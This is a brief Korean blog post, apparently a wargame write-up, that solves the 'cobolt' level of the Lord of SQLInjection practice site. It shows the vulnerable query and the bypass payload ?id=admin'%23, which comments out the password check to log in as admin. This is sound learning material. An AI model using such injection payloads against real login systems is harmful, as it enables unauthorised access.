SWLUG/์›น ํ•ดํ‚น

[los.rubiya.kr] cobolt

waterproof 2023. 10. 6. 22:55

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr


 

 

 

 

๋ฌธ์ œ ํ™”๋ฉด.

 

query : select id from prob_cobolt where id='' and pw=md5('') ๋ฅผ ๋ณด๊ณ  md5 ํ•ด์‹œ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋‚˜? ์‹ถ์—ˆ๋‹ค.

 

์ผ๋‹จ php ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด id๊ฐ€ admin์ด ๋˜์–ด์•ผ coblot๊ฐ€ ํ’€๋ฆฐ๋‹ค๊ณ  ํ•œ๋‹ค.

 

id๊ฐ’์— admin์„ ๋„ฃ์–ด์ฃผ๊ณ  ๋’ค๋ฅผ ์ฃผ์„์ฒ˜๋ฆฌํ•ด์ฃผ๋ฉด ๋  ๊ฒƒ ๊ฐ™๋‹ค๊ณ  ์ƒ๊ฐํ–ˆ๋‹ค.

 

 

?id=admin'%23

 

 

ํด๋ฆฌ์–ด~

 

'SWLUG > ์›น ํ•ดํ‚น' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

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